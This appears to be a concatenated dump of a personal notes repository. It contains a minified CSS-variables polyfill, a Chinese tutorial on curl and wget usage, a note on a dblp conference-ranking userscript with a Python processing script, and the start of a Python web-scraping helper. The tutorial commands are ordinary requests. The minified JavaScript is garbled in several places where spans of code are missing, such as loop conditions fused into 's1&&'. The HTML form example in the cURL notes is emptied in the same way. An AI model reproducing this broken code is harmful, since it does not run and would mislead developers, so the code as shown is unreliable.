t=/\/\*[\s\S]+?\*\//g,r=/(?:@import\s*)(?:url\(\s*)?(?:['"])([^'"]*)(?:['"])(?:\s*\))?(?:[^;]*;)/g,o={rootElement:e.rootElement||document,include:e.include||'style,link[rel="stylesheet"]',exclude:e.exclude||null,filter:e.filter||null,skipDisabled:!1!==e.skipDisabled,useCSSOM:e.useCSSOM||!1,onBeforeSend:e.onBeforeSend||Function.prototype,onSuccess:e.onSuccess||Function.prototype,onError:e.onError||Function.prototype,onComplete:e.onComplete||Function.prototype},a=Array.apply(null,o.rootElement.querySelectorAll(o.include)).filter((function(e){return t=e,r=o.exclude,!(t.matches||t.matchesSelector||t.webkitMatchesSelector||t.mozMatchesSelector||t.msMatchesSelector||t.oMatchesSelector).call(t,r);var t,r})),c=Array.apply(null,Array(a.length)).map((function(e){return null}));function i(){if(-1===c.indexOf(null)){var e=c.join("");o.onComplete(e,c,a)}}function u(e,t,r,s){var a=o.onSuccess(e,r,s);(function e(t,r,s,a){var c=arguments.length>4&&void 0!==arguments[4]?arguments[4]:[],i=arguments.length>5&&void 0!==arguments[5]?arguments[5]:[],u=l(t,s,i);u.rules.length?n(u.absoluteUrls,{onBeforeSend:function(e,t,n){o.onBeforeSend(e,r,t)},onSuccess:function(e,t,n){var s=o.onSuccess(e,r,t),a=l(e=!1===s?"":s||e,t,i);return a.rules.forEach((function(t,r){e=e.replace(t,a.absoluteRules[r])})),e},onError:function(n,o,l){c.push({xhr:n,url:o}),i.push(u.rules[l]),e(t,r,s,a,c,i)},onComplete:function(n){n.forEach((function(e,r){t=t.replace(u.rules[r],e)})),e(t,r,s,a,c,i)}}):a(t,c)})(e=void 0!==a&&!1===Boolean(a)?"":a||e,r,s,(function(e,n){null===c[t]&&(n.forEach((function(e){return o.onError(e.xhr,r,e.url)})),!o.filter||o.filter.test(e)?c[t]=e:c[t]="",i())}))}function l(e,n){var o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:[],a={};return a.rules=(e.replace(t,"").match(r)||[]).filter((function(e){return-1===o.indexOf(e)})),a.urls=a.rules.map((function(e){return e.replace(r,"$1")})),a.absoluteUrls=a.urls.map((function(e){return s(e,n)})),a.absoluteRules=a.rules.map((function(e,t){var r=a.urls[t],o=s(a.absoluteUrls[t],n);return e.replace(r,o)})),a}a.length?a.forEach((function(e,t){var r=e.getAttribute("href"),a=e.getAttribute("rel"),l="LINK"===e.nodeName&&r&&a&&-1!==a.toLowerCase().indexOf("stylesheet"),f=!1!==o.skipDisabled&&e.disabled,d="STYLE"===e.nodeName;if(l&&!f)n(r,{mimeType:"text/css",onBeforeSend:function(t,r,n){o.onBeforeSend(t,e,r)},onSuccess:function(n,o,a){var c=s(r);u(n,t,e,c)},onError:function(r,n,s){c[t]="",o.onError(r,e,n),i()}});else if(d&&!f){var p=e.textContent;o.useCSSOM&&(p=Array.apply(null,e.sheet.cssRules).map((function(e){return e.cssText})).join("")),u(p,t,e,location.href)}else c[t]="",i()})):o.onComplete("",[])}function s(e,t){var r=document.implementation.createHTMLDocument(""),n=r.createElement("base"),o=r.createElement("a");return r.head.appendChild(n),r.body.appendChild(o),n.href=t||document.baseURI||(document.querySelector("base")||{}).href||location.href,o.href=e,o.href}var a=c;function c(e,t,r){e instanceof RegExp&&(e=i(e,r)),t instanceof RegExp&&(t=i(t,r));var n=u(e,t,r);return n&&{start:n[0],end:n[1],pre:r.slice(0,n[0]),body:r.slice(n[0]+e.length,n[1]),post:r.slice(n[1]+t.length)}}function i(e,t){var r=t.match(e);return r?r[0]:null}function u(e,t,r){var n,o,s,a,c,i=r.indexOf(e),u=r.indexOf(t,i+1),l=i;if(i>=0&&u>0){for(n=[],s=r.length;l>=0&&!c;)l==i?(n.push(l),i=r.indexOf(e,l+1)):1==n.length?c=[n.pop(),u]:((o=n.pop())=0?i:u;n.length&&(c=[s,a])}return c}function l(t){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={preserveStatic:!0,removeComments:!1},o=e({},n,r),s=[];function c(e){throw new Error("CSS parse error: ".concat(e))}function i(e){var r=e.exec(t);if(r)return t=t.slice(r[0].length),r}function u(){return i(/^{\s*/)}function l(){return i(/^}/)}function f(){i(/^\s*/)}function d(){if(f(),"/"===t[0]&&"*"===t[1]){for(var e=2;t[e]&&("*"!==t[e]||"/"!==t[e+1]);)e++;if(!t[e])return c("end of comment is missing");var r=t.slice(2,e);return t=t.slice(e+2),{type:"comment",comment:r}}}function p(){for(var e,t=[];e=d();)t.push(e);return o.removeComments?[]:t}function m(){for(f();"}"===t[0];)c("extra closing bracket");var e=i(/^(("(?:\\"|[^"])*"|'(?:\\'|[^'])*'|[^{])+)/);if(e)return e[0].trim().replace(/\/\*([^*]|[\r\n]|(\*+([^*/]|[\r\n])))*\*\/+/g,"").replace(/"(?:\\"|[^"])*"|'(?:\\'|[^'])*'/g,(function(e){return e.replace(/,/g,"‌")})).split(/\s*(?![^(]*\)),\s*/).map((function(e){return e.replace(/\u200C/g,",")}))}function v(){if("@"===t[0])return k();i(/^([;\s]*)+/);var e=/\/\*[^*]*\*+([^/*][^*]*\*+)*\//g,r=i(/^(\*?[-#/*\\\w]+(\[[0-9a-z_-]+\])?)\s*/);if(r){if(r=r[0].trim(),!i(/^:\s*/))return c("property missing ':'");var n=i(/^((?:\/\*.*?\*\/|'(?:\\'|.)*?'|"(?:\\"|.)*?"|\((\s*'(?:\\'|.)*?'|"(?:\\"|.)*?"|[^)]*?)\s*\)|[^};])+)/),o={type:"declaration",property:r.replace(e,""),value:n?n[0].replace(e,"").trim():""};return i(/^[;\s]*/),o}}function h(){if(!u())return c("missing '{'");for(var e,t=p();e=v();)t.push(e),t=t.concat(p());return l()?t:c("missing '}'")}function y(){f();for(var e,t=[];e=i(/^((\d+\.\d+|\.\d+|\d+)%?|[a-z]+)\s*/);)t.push(e[1]),i(/^,\s*/);if(t.length)return{type:"keyframe",values:t,declarations:h()}}function g(){var e=i(/^@([-\w]+)?keyframes\s*/);if(e){var t=e[1];if(!(e=i(/^([-\w]+)\s*/)))return c("@keyframes missing name");var r,n=e[1];if(!u())return c("@keyframes missing '{'");for(var o=p();r=y();)o.push(r),o=o.concat(p());return l()?{type:"keyframes",name:n,vendor:t,keyframes:o}:c("@keyframes missing '}'")}}function b(){if(i(/^@page */))return{type:"page",selectors:m()||[],declarations:h()}}function S(){var e=i(/@(top|bottom|left|right)-(left|center|right|top|middle|bottom)-?(corner)?\s*/);if(e)return{type:"page-margin-box",name:"".concat(e[1],"-").concat(e[2])+(e[3]?"-".concat(e[3]):""),declarations:h()}}function E(){if(i(/^@font-face\s*/))return{type:"font-face",declarations:h()}}function w(){var e=i(/^@supports *([^{]+)/);if(e)return{type:"supports",supports:e[1].trim(),rules:M()}}function A(){if(i(/^@host\s*/))return{type:"host",rules:M()}}function C(){var e=i(/^@media([^{]+)*/);if(e)return{type:"media",media:(e[1]||"").trim(),rules:M()}}function O(){var e=i(/^@custom-media\s+(--[^\s]+)\s*([^{;]+);/);if(e)return{type:"custom-media",name:e[1].trim(),media:e[2].trim()}}function x(){var e=i(/^@([-\w]+)?document *([^{]+)/);if(e)return{type:"document",document:e[2].trim(),vendor:e[1]?e[1].trim():null,rules:M()}}function j(){var e=i(/^@(import|charset|namespace)\s*([^;]+);/);if(e)return{type:e[1],name:e[2].trim()}}function k(){if(f(),"@"===t[0]){var e=j()||E()||C()||g()||w()||x()||O()||A()||b()||S();if(e&&!o.preserveStatic){var r=!1;if(e.declarations)r=e.declarations.some((function(e){return/var\(/.test(e.value)}));else r=(e.keyframes||e.rules||[]).some((function(e){return(e.declarations||[]).some((function(e){return/var\(/.test(e.value)}))}));return r?e:{}}return e}}function _(){if(!o.preserveStatic){var e=a("{","}",t);if(e){var r=/:(?:root|host)(?![.:#(])/.test(e.pre)&&/--\S*\s*:/.test(e.body),n=/var\(/.test(e.body);if(!r&&!n)return t=t.slice(e.end+1),{}}}var s=m()||[],i=o.preserveStatic?h():h().filter((function(e){var t=s.some((function(e){return/:(?:root|host)(?![.:#(])/.test(e)}))&&/^--\S/.test(e.property),r=/var\(/.test(e.value);return t||r}));return s.length||c("selector missing"),{type:"rule",selectors:s,declarations:i}}function M(e){if(!e&&!u())return c("missing '{'");for(var r,n=p();t.length&&(e||"}"!==t[0])&&(r=k()||_());)r.type&&n.push(r),n=n.concat(p());return e||l()?n:c("missing '}'")}return{type:"stylesheet",stylesheet:{rules:M(!0),errors:s}}}function f(t){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={parseHost:!1,store:{},onWarning:function(){}},o=e({},n,r),s=new RegExp(":".concat(o.parseHost?"host":"root","$"));return"string"==typeof t&&(t=l(t,o)),t.stylesheet.rules.forEach((function(e){"rule"===e.type&&e.selectors.some((function(e){return s.test(e)}))&&e.declarations.forEach((function(e,t){var r=e.property,n=e.value;r&&0===r.indexOf("--")&&(o.store[r]=n)}))})),o.store}function d(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",r=arguments.length>2?arguments[2]:void 0,n={charset:function(e){return"@charset "+e.name+";"},comment:function(e){return 0===e.comment.indexOf("__CSSVARSPONYFILL")?"/*"+e.comment+"*/":""},"custom-media":function(e){return"@custom-media "+e.name+" "+e.media+";"},declaration:function(e){return e.property+":"+e.value+";"},document:function(e){return"@"+(e.vendor||"")+"document "+e.document+"{"+o(e.rules)+"}"},"font-face":function(e){return"@font-face{"+o(e.declarations)+"}"},host:function(e){return"@host{"+o(e.rules)+"}"},import:function(e){return"@import "+e.name+";"},keyframe:function(e){return e.values.join(",")+"{"+o(e.declarations)+"}"},keyframes:function(e){return"@"+(e.vendor||"")+"keyframes "+e.name+"{"+o(e.keyframes)+"}"},media:function(e){return"@media "+e.media+"{"+o(e.rules)+"}"},namespace:function(e){return"@namespace "+e.name+";"},page:function(e){return"@page "+(e.selectors.length?e.selectors.join(", "):"")+"{"+o(e.declarations)+"}"},"page-margin-box":function(e){return"@"+e.name+"{"+o(e.declarations)+"}"},rule:function(e){var t=e.declarations;if(t.length)return e.selectors.join(",")+"{"+o(t)+"}"},supports:function(e){return"@supports "+e.supports+"{"+o(e.rules)+"}"}};function o(e){for(var o="",s=0;s1&&void 0!==arguments[1]?arguments[1]:{},n={preserveStatic:!0,preserveVars:!1,variables:{},onWarning:function(){}},o=e({},n,r);return"string"==typeof t&&(t=l(t,o)),p(t.stylesheet,(function(e,t){for(var r=0;r1&&void 0!==arguments[1]?arguments[1]:{},r=arguments.length>2?arguments[2]:void 0;if(-1===e.indexOf("var("))return e;var n=a("(",")",e);function o(e){var n=e.split(",")[0].replace(/[\s\n\t]/g,""),o=(e.match(/(?:\s*,\s*){1}(.*)?/)||[])[1],s=Object.prototype.hasOwnProperty.call(t.variables,n)?String(t.variables[n]):void 0,a=s||(o?String(o):void 0),c=r||e;return s||t.onWarning('variable "'.concat(n,'" is undefined')),a&&"undefined"!==a&&a.length>0?h(a,t,c):"var(".concat(c,")")}if(n){if("var"===n.pre.slice(-3)){var s=0===n.body.trim().length;return s?(t.onWarning("var() must contain a non-whitespace string"),e):n.pre.slice(0,-3)+o(n.body)+h(n.post,t)}return n.pre+"(".concat(h(n.body,t),")")+h(n.post,t)}return-1!==e.indexOf("var(")&&t.onWarning('missing closing ")" in the value "'.concat(e,'"')),e}var y="undefined"!=typeof window,g=y&&window.CSS&&window.CSS.supports&&window.CSS.supports("(--a: 0)"),b={group:0,job:0},S={rootElement:y?document:null,shadowDOM:!1,include:"style,link[rel=stylesheet]",exclude:"",variables:{},onlyLegacy:!0,preserveStatic:!0,preserveVars:!1,silent:!1,updateDOM:!0,updateURLs:!0,watch:null,onBeforeSend:function(){},onError:function(){},onWarning:function(){},onSuccess:function(){},onComplete:function(){},onFinally:function(){}},E={cssComments:/\/\*[\s\S]+?\*\//g,cssKeyframes:/@(?:-\w*-)?keyframes/,cssMediaQueries:/@media[^{]+\{([\s\S]+?})\s*}/g,cssUrls:/url\((?!['"]?(?:data|http|\/\/):)['"]?([^'")]*)['"]?\)/g,cssVarDeclRules:/(?::(?:root|host)(?![.:#(])[\s,]*[^{]*{\s*[^}]*})/g,cssVarDecls:/(?:[\s;]*)(-{2}\w[\w-]*)(?:\s*:\s*)([^;]*);/g,cssVarFunc:/var\(\s*--[\w-]/,cssVars:/(?:(?::(?:root|host)(?![.:#(])[\s,]*[^{]*{\s*[^;]*;*\s*)|(?:var\(\s*))(--[^:)]+)(?:\s*[:)])/},w={dom:{},job:{},user:{}},A=!1,C=null,O=0,x=null,j=!1;function k(){var r=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n="cssVars(): ",s=e({},S,r);function a(e,t,r,o){!s.silent&&window.console&&console.error("".concat(n).concat(e,"\n"),t),s.onError(e,t,r,o)}function c(e){!s.silent&&window.console&&console.warn("".concat(n).concat(e)),s.onWarning(e)}function i(e){s.onFinally(Boolean(e),g,V()-s.__benchmark)}if(y){if(s.watch)return s.watch=S.watch,_(s),void k(s);if(!1===s.watch&&C&&(C.disconnect(),C=null),!s.__benchmark){if(A===s.rootElement)return void M(r);if(s.__benchmark=V(),s.exclude=[C?'[data-cssvars]:not([data-cssvars=""])':'[data-cssvars="out"]',s.exclude].filter((function(e){return e})).join(","),s.variables=L(s.variables),!C){var u=Array.apply(null,s.rootElement.querySelectorAll('[data-cssvars="out"]'));if(u.forEach((function(e){var t=e.getAttribute("data-cssvars-group");(t?s.rootElement.querySelector('[data-cssvars="src"][data-cssvars-group="'.concat(t,'"]')):null)||e.parentNode.removeChild(e)})),O){var p=s.rootElement.querySelectorAll('[data-cssvars]:not([data-cssvars="out"])');p.length2&&void 0!==arguments[2]?arguments[2]:[],u=e({},w.dom,w.user);if(w.job={},o.forEach((function(e,t){var r=n[t];if(E.cssVars.test(r))try{var o=l(r,{preserveStatic:s.preserveStatic,removeComments:!0});f(o,{parseHost:Boolean(s.rootElement.host),store:w.dom,onWarning:c}),e.__cssVars={tree:o}}catch(t){a(t.message,e)}})),e(w.job,w.dom),s.updateDOM?(e(w.user,s.variables),e(w.job,w.user)):(e(w.job,w.user,s.variables),e(u,s.variables)),b.job>0&&Boolean(Object.keys(w.job).length>Object.keys(u).length||Boolean(Object.keys(u).length&&Object.keys(w.job).some((function(e){return w.job[e]!==u[e]})))))B(s.rootElement),k(s);else{var p=[],v=[],h=!1;if(s.updateDOM&&b.job++,o.forEach((function(t,r){var o=!t.__cssVars;if(t.__cssVars)try{m(t.__cssVars.tree,e({},s,{variables:w.job,onWarning:c}));var i=d(t.__cssVars.tree);if(s.updateDOM){var u=n[r],l=E.cssVarFunc.test(u);if(t.getAttribute("data-cssvars")||t.setAttribute("data-cssvars","src"),i.length&&l){var f=t.getAttribute("data-cssvars-group")||++b.group,y=i.replace(/\s/g,""),g=s.rootElement.querySelector('[data-cssvars="out"][data-cssvars-group="'.concat(f,'"]'))||document.createElement("style");h=h||E.cssKeyframes.test(i),s.preserveStatic&&(t.sheet.disabled=!0),g.hasAttribute("data-cssvars")||g.setAttribute("data-cssvars","out"),y===t.textContent.replace(/\s/g,"")?(o=!0,g&&g.parentNode&&(t.removeAttribute("data-cssvars-group"),g.parentNode.removeChild(g))):y!==g.textContent.replace(/\s/g,"")&&([t,g].forEach((function(e){e.setAttribute("data-cssvars-job",b.job),e.setAttribute("data-cssvars-group",f)})),g.textContent=i,p.push(i),v.push(g),g.parentNode||t.parentNode.insertBefore(g,t.nextSibling))}}else t.textContent.replace(/\s/g,"")!==i&&p.push(i)}catch(e){a(e.message,t)}o&&t.setAttribute("data-cssvars","skip"),t.hasAttribute("data-cssvars-job")||t.setAttribute("data-cssvars-job",b.job)})),O=s.rootElement.querySelectorAll('[data-cssvars]:not([data-cssvars="out"])').length,s.shadowDOM)for(var y,g=[s.rootElement].concat(t(s.rootElement.querySelectorAll("*"))),S=0;y=g[S];++S)if(y.shadowRoot&&y.shadowRoot.querySelector("style")){var C=e({},s,{rootElement:y.shadowRoot});k(C)}s.updateDOM&&h&&T(s.rootElement),A=!1,s.onComplete(p.join(""),v,JSON.parse(JSON.stringify(w.job)),V()-s.__benchmark),i(v.length)}}}));else document.addEventListener("DOMContentLoaded",(function e(t){k(r),document.removeEventListener("DOMContentLoaded",e)}))}}function _(e){function t(e){var t=e.hasAttribute("disabled"),r=(e.sheet||{}).disabled;return t||r}function r(e){return"LINK"===e.tagName&&-1!==(e.getAttribute("rel")||"").indexOf("stylesheet")&&!t(e)}function n(e){return Array.apply(null,e).some((function(e){var n=1===e.nodeType&&e.hasAttribute("data-cssvars"),o=function(e){return"STYLE"===e.tagName&&!t(e)}(e)&&E.cssVars.test(e.textContent);return!n&&(r(e)||o)}))}window.MutationObserver&&(C&&(C.disconnect(),C=null),(C=new MutationObserver((function(t){t.some((function(t){var o,s=!1;return"attributes"===t.type?s=r(t.target):"childList"===t.type&&(s=n(t.addedNodes)||(o=t.removedNodes,Array.apply(null,o).some((function(t){var r=1===t.nodeType,n=r&&"out"===t.getAttribute("data-cssvars"),o=r&&"src"===t.getAttribute("data-cssvars"),s=o;if(o||n){var a=t.getAttribute("data-cssvars-group"),c=e.rootElement.querySelector('[data-cssvars-group="'.concat(a,'"]'));o&&(B(e.rootElement),w.dom={}),c&&c.parentNode.removeChild(c)}return s})))),s}))&&k(e)}))).observe(document.documentElement,{attributes:!0,attributeFilter:["disabled","href"],childList:!0,subtree:!0}))}function M(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:100;clearTimeout(x),x=setTimeout((function(){e.__benchmark=null,k(e)}),t)}function T(e){var t=["animation-name","-moz-animation-name","-webkit-animation-name"].filter((function(e){return getComputedStyle(document.body)[e]}))[0];if(t){for(var r=e.getElementsByTagName("*"),n=[],o=0,s=r.length;o0&&void 0!==arguments[0]?arguments[0]:{},t=/^-{2}/;return Object.keys(e).reduce((function(r,n){return r[t.test(n)?n:"--".concat(n.replace(/^-+/,""))]=e[n],r}),{})}function D(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:location.href,r=document.implementation.createHTMLDocument(""),n=r.createElement("base"),o=r.createElement("a");return r.head.appendChild(n),r.body.appendChild(o),n.href=t,o.href=e,o.href}function V(){return y&&(window.performance||{}).now?window.performance.now():(new Date).getTime()}function B(e){Array.apply(null,e.querySelectorAll('[data-cssvars="skip"],[data-cssvars="src"]')).forEach((function(e){return e.setAttribute("data-cssvars","")}))}return k.reset=function(){for(var e in b.job=0,b.group=0,A=!1,C&&(C.disconnect(),C=null),O=0,x=null,j=!1,w)w[e]={}},k})); ================================================ FILE: assets/js/index.js ================================================ if(location.pathname=="/README/"){ window.onload = function(){ Array.from(document.querySelectorAll("div.md-content > article > blockquote > ul > li")).forEach(function(i){ i.onclick=function(){ i.parentNode.parentNode.previousElementSibling.children[0].click() } }); } } ================================================ FILE: cURL.md ================================================ # cURL curl这么有用的东西,还是单独开个文档咯~ ![cURL](https://curl.haxx.se/logo/curl-logo.svg) > 大名鼎鼎的cURL,不必多言;只是它的命令行的运行方式与libcurl用起来差异很大(如比较php的curl用法) > 官方:https://curl.haxx.se/ > 简单入门:http://www.bathome.net/thread-1761-1-1.html > **将curl转为python requests** http://curl.trillworks.com/ [下载7.51 x64的Win版本](https://d.py3.io/curl.exe) [下载7.16 32bit的curl32.exe](https://d.py3.io/curl32.exe) ---- ## 模拟浏览器请求 用Chrome开发人员工具,对请求右键,Copy as cURL就好啦 其中如果选择了cmd的版本,是不能用于写bat的,我的做法是复制成bash的版本用python循环之 ---- ## 基本教程 ``` REM 在bat中REM命令表示注释行 REM 简单的get一下 curl http://ip.cn REM 保存到文件并断点续传(可以不指定文件名-O) curl -o iplist.txt -c http://f.ip.cn/rt/chnroutes.txt REM POST请求,设置Referer,并使用代理 curl http://httpbin.org/post --data "something=somedata" -H "Referer: http://github.com/zjuchenyuan/" --proxy socks5://127.0.0.1:1080 REM 文件上传 @文件名 REM POST模式下的文件上的文件上传,比如 REM
REM REM REM
REM 这样一个HTTP表单,我们要用curl进行模拟,就该是这样的语法: curl -F upload=@localfile -F nick=go http://cgi2.tky.3web.ne.jp/~zzh/up_file.cgi REM 登录路由器 curl http://192.168.1.1 -u admin:admin REM 存下Set-Cookie curl -D cookie0001.txt http://www.yahoo.com REM 使用存储的Cookie curl -b cookie0001.txt http://www.yahoo.com REM dict协议查字典,显示详细的请求信息 curl dict://www.dict.org/d:computer -v ``` ---- ## 还可以循环哟 curl -OJ http://example.com/[1-100].jpg curl -o "#1.html" http://www.example.com/page/[1-20] ---- ## wget在0b/s时自动重连 From: https://askubuntu.com/questions/72663/how-to-make-wget-retry-download-if-speed-goes-below-certain-threshold 用法: ``` wget -c --tries=0 --read-timeout=20 [URL] ``` 其中-c表示断点续传,--tries=0表示无限次重试,--read-timeout指定20s无网络活动就认为出错(默认是15分钟) ---- ## wget限制单文件最大大小 来源: https://yurichev.com/wget.html 可以下载到[二进制](https://yurichev.com/non-wiki-files/wget-1.18-limitsize/wget-1.18-limitsize-linux64.tar.bz2)直接用 增加了`--limit-size`参数,比如批量下载一个ftp链接: ``` wget --limit-size=10g --restrict-file-names=nocontrol -nH --tries=0 --read-timeout=20 -m ftp://xxx ``` ================================================ FILE: ccfbadge.md ================================================ # CCF Badge 在dblp搜索结果中高亮显示安全顶会和CCF分类+方向 安装 Chrome插件[Tampermonkey](https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo) 后点击安装: [https://blog.chenyuan.me/code/ccfbadge.user.js](https://blog.chenyuan.me/code/ccfbadge.user.js) 效果: [https://dblp.org/search?q=use-after-free](https://dblp.org/search?q=use-after-free) ![](/assets/img/ccfbadge.png) ## 数据处理过程 - 下载官方目录PDF: [https://www.ccf.org.cn/Academic_Evaluation/By_category/](https://www.ccf.org.cn/Academic_Evaluation/By_category/) - 转换成Excel: [https://smallpdf.com/pdf-to-excel](https://smallpdf.com/pdf-to-excel) - Python读取excel处理:部分dblp有链接但pdf中不是dblp链接的需要手工更正,asiaccs的链接需要与ccs区分 ``` import xlrd, json from pprint import pprint wb=xlrd.open_workbook("中国计算机学会推荐国际学术会议和期刊目录-2019-converted.xlsx") type = "" allccf = {} for sid in range(wb.nsheets): s = wb.sheet_by_index(sid) data = [tuple([s.cell_value(i,j) for j in range(s.ncols)]) for i in range(s.nrows)] for i,line in enumerate(data): if line[0]=="序号": abc = data[i-1][0].split("、")[1].replace("类", "").strip() if i-2>=0: type = data[i-2][0].split("\n")[-1].strip().strip("(())").replace("/","/").split("/")[0].replace("计算机","") table = data[i+1:] newtable = [] for i in table: if not any([str(j).strip() for j in i]): continue id, simple, full, publisher, url = [str(j).replace("\n"," ").replace(" "," ") for j in i[:-1]] # remove last empty column #print(i) url = { "Performance Evaluation: An International Journal":"https://dblp.uni-trier.de/db/journals/pe", 'Journal of Electronic Testing-Theory and Applications': "https://dblp.uni-trier.de/db/journals/et", "Hot Chips: A Symposium on High Performance Chips": "https://dblp.uni-trier.de/db/conf/hotchips/index.html", "ACM Transactions on Privacy and Security":"https://dblp.org/db/journals/tissec/", "Computer Law and Security Review":"https://dblp.org/db/journals/clsr/", "IFIP WG 11.9 International Conference on Digital Forensics":"https://dblp.org/db/conf/ifip11-9/", "Computer Animation and Virtual Worlds":"https://dblp.org/db/journals/jvca/index.html", "IET Computer Vision":"https://dblp.org/db/journals/iet-cvi/index.html", "IET Signal Processing":"https://dblp.org/db/journals/iet-spr/index.html", "International Conference on Collaborative Computing: Networking, Applications and Worksharing":"https://dblp.org/db/conf/colcom/index.html", "Asia Conference on Computer and Communications Security": "https://dblp.org/db/conf/asiaccs/index.html", }.get(full, url) if "dblp" not in url: #print([id, simple, full, publisher, url]) pass else: url = "/".join(url.split("/")[4:6]) #print(url) newtable.append([id, simple, full, publisher, url]) if url in allccf: #print(i, allccf[url]) # we find that aisaccs link is wrong assert allccf[url][1] == abc # same item in different categories, should be same in ABC allccf[url] = (allccf[url][0]+"/"+type, abc) else: allccf[url] = (type, abc) #print(type, abc, [i[4] for i in newtable]) open("ccf.json","w").write(json.dumps(allccf)) ``` ================================================ FILE: code/EasyLogin.py ================================================ # coding:utf-8 from __future__ import with_statement try: from urllib.parse import urlencode, quote, unquote PY2 = False except ImportError: from urllib import urlencode, quote, unquote PY2 = True import requests import pickle import os import random from bs4 import BeautifulSoup import hashlib from collections import OrderedDict import json try: import cchardet as chardet except: # pragma: no cover import chardet __version__ = 20180118 UALIST = [ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60", "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 UBrowser/4.0.3214.0 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.100 Safari/537.36"] def mymd5(input): if PY2: return hashlib.md5(bytes(input)).hexdigest() else: return hashlib.md5(bytes(input,encoding="utf-8")).hexdigest() class EasyLogin_ValidateFail(Exception): pass class EasyLogin: def __init__(self, cookie=None, cookiestring=None, cookiefile=None, proxy=None, session=None, cachedir=None): """ example: a = EasyLogin(cookie={"PHPSESSID":"..."}, proxy="socks5://127.0.0.1:1080") :param cookie: a dict of cookie :param cookiefile: the file contain cookie which saved by get or post(save=True) :param proxy: the proxy to use, rememeber schema and `pip install requests[socks]` :param session: requests.Session() :param cachedir: where cache files should be write to """ self.b = None self.cookiestack = [] self.proxies = {'http': proxy, 'https': proxy} if proxy is not None else None self.cookiefile = 'cookie.pickle' if session is not None: self.s = session return self.s = requests.Session() adapter = requests.adapters.HTTPAdapter(pool_connections=100, pool_maxsize=1000) self.s.mount('http://', adapter) self.s.headers.update({'User-Agent': random.choice(UALIST)}) if cookie is None: cookie = {} self.s.cookies.update(cookie) self.setcookie(cookiestring) if cookiefile is not None: self.cookiefile = cookiefile try: with open(cookiefile, "rb") as fp: self.s.cookies = pickle.load(fp) except FileNotFoundError: pass if cachedir is None: self.cachedir = "" else: cachedir = cachedir.replace("\\","/") if not cachedir.endswith("/"): cachedir = cachedir+"/" if not os.path.exists(cachedir): try: os.mkdir(cachedir) except: if not os.path.exists(cachedir): raise self.cachedir = cachedir def setcookie(self,cookiestring): cookie = {} if cookiestring is not None: for onecookiestring in cookiestring.split(";"): tmp = onecookiestring.split("=", 1) if len(tmp)!=2: continue a, b = tmp a = quote(unquote(a).strip()) cookie.update({a: b}) self.s.cookies.update(cookie) def showcookie(self): """ show cookie :return: str(cookie) """ c = "" for i in self.s.cookies: c += i.name + '=' + i.value + ";" return c cookie = property(showcookie) def get(self, url, result=True, save=False, headers=None, o=False, cache=None, r=False, cookiestring=None,failstring=None, debug=False, fixfunction=None, encoding=None, **kwargs): """ HTTP GET method, default save soup to self.b :param url: a url, example: "http://ip.cn" :param result: using BeautifulSoup to handle the page, save to self.b (default True) :param save: save cookie or not :param headers: more headers to be sent :param o: return object or just page text :param cache: filename to write cache, if already exists, use cache rather than really get; using cache=True to use md5(url) as cache file name :param failstring: if failstring occurs in text, raise an exception :param fixfunction: a function receive html (bytes), output fixed html (bytes); this is useful for simple replace to fix dirty html page :return page text or object(o=True) """ if debug: print(url) if cache is True: cache = mymd5(url) if cache: cache_filepath = self.cachedir + cache if cache is not None and os.path.exists(cache_filepath): # cache exist, read from cache with open(cache_filepath, "rb") as fp: if o: obj = pickle.load(fp) page = obj.content else: page = fp.read() if result: page = page.replace(b"
", b"\n").replace(b"
